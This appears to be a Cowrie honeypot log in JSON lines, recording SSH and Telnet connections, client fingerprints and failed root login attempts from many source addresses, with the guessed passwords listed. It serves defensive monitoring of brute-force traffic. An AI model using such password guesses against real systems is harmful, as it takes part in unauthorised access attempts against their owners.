{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":57840,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa9a2e79c243","protocol":"ssh","message":"New connection: 103.77.175.15:57840 (159.203.135.109:22) [session: aa9a2e79c243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:34.984718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:34.990097Z","src_ip":"103.77.175.15","session":"aa9a2e79c243","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:34.993935Z","src_ip":"103.183.114.55","session":"8e4b04048c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:35.238608Z","src_ip":"103.77.175.15","session":"aa9a2e79c243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:35.311104Z","src_ip":"103.183.114.55","session":"8e4b04048c02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"konstantin","message":"login attempt [root/konstantin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:36.046926Z","src_ip":"103.77.175.15","session":"aa9a2e79c243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ytrewq123","message":"login attempt [root/ytrewq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:36.067129Z","src_ip":"103.183.114.55","session":"8e4b04048c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:37.295652Z","src_ip":"103.183.114.55","session":"8e4b04048c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:37.301304Z","src_ip":"103.77.175.15","session":"aa9a2e79c243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0128083229065,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:48.208389Z","src_ip":"5.68.133.1","session":"8b83a0c67193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":33446,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc6799ae8164","protocol":"ssh","message":"New connection: 45.137.172.116:33446 (10.17.0.5:22) [session: bc6799ae8164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:57.870473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:57.875643Z","src_ip":"45.137.172.116","session":"bc6799ae8164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:57.972090Z","src_ip":"45.137.172.116","session":"bc6799ae8164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456789","message":"login attempt [root/aa123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:58.387945Z","src_ip":"45.137.172.116","session":"bc6799ae8164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:59.487915Z","src_ip":"45.137.172.116","session":"bc6799ae8164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":46652,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8acb8954cba","protocol":"ssh","message":"New connection: 128.201.9.152:46652 (10.17.0.5:22) [session: d8acb8954cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:01.589905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:01.595618Z","src_ip":"128.201.9.152","session":"d8acb8954cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:01.732435Z","src_ip":"128.201.9.152","session":"d8acb8954cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig12*","message":"login attempt [root/k0nig12*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:02.264131Z","src_ip":"128.201.9.152","session":"d8acb8954cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:03.394102Z","src_ip":"128.201.9.152","session":"d8acb8954cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":39956,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b21ec63995a","protocol":"ssh","message":"New connection: 46.19.67.181:39956 (159.203.135.109:22) [session: 9b21ec63995a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:04.803741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:04.809037Z","src_ip":"46.19.67.181","session":"9b21ec63995a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:04.927876Z","src_ip":"46.19.67.181","session":"9b21ec63995a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cxfcnkbdfz123","message":"login attempt [root/cxfcnkbdfz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:05.287880Z","src_ip":"46.19.67.181","session":"9b21ec63995a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:06.412571Z","src_ip":"46.19.67.181","session":"9b21ec63995a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.83279466629028,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:18.871379Z","src_ip":"152.42.224.71","session":"c1eb1b8ca0c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":58392,"dst_ip":"159.203.135.109","dst_port":22,"session":"0867271d90e5","protocol":"ssh","message":"New connection: 176.32.39.21:58392 (159.203.135.109:22) [session: 0867271d90e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:22.487839Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":34624,"dst_ip":"159.203.135.109","dst_port":22,"session":"3accc5956e48","protocol":"ssh","message":"New connection: 43.173.84.253:34624 (159.203.135.109:22) [session: 3accc5956e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:25.224325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:25.229789Z","src_ip":"43.173.84.253","session":"3accc5956e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:25.298835Z","src_ip":"43.173.84.253","session":"3accc5956e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin-123","message":"login attempt [root/Admin-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:25.603148Z","src_ip":"43.173.84.253","session":"3accc5956e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:26.675315Z","src_ip":"43.173.84.253","session":"3accc5956e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42564,"dst_ip":"10.17.0.5","dst_port":22,"session":"48d65f47a662","protocol":"ssh","message":"New connection: 87.251.79.125:42564 (10.17.0.5:22) [session: 48d65f47a662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:31.907197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:31.911733Z","src_ip":"87.251.79.125","session":"48d65f47a662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:31.983711Z","src_ip":"87.251.79.125","session":"48d65f47a662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"street","message":"login attempt [root/street] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:32.200727Z","src_ip":"87.251.79.125","session":"48d65f47a662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:33.275684Z","src_ip":"87.251.79.125","session":"48d65f47a662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":34910,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a5c9d9abb38","protocol":"ssh","message":"New connection: 103.149.28.157:34910 (159.203.135.109:22) [session: 7a5c9d9abb38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:34.872382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:34.878438Z","src_ip":"103.149.28.157","session":"7a5c9d9abb38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:35.135745Z","src_ip":"103.149.28.157","session":"7a5c9d9abb38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"enigma","message":"login attempt [root/enigma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:35.907640Z","src_ip":"103.149.28.157","session":"7a5c9d9abb38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42952,"dst_ip":"10.17.0.5","dst_port":23,"session":"26ad8d854607","protocol":"telnet","message":"New connection: 152.42.224.71:42952 (10.17.0.5:23) [session: 26ad8d854607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:36.070511Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:37.165486Z","src_ip":"103.149.28.157","session":"7a5c9d9abb38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42962,"dst_ip":"10.17.0.5","dst_port":23,"session":"a17ebde84bf6","protocol":"telnet","message":"New connection: 152.42.224.71:42962 (10.17.0.5:23) [session: a17ebde84bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:42.790691Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":48274,"dst_ip":"10.17.0.5","dst_port":22,"session":"f654b2bd7427","protocol":"ssh","message":"New connection: 43.135.177.217:48274 (10.17.0.5:22) [session: f654b2bd7427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:43.046341Z"}
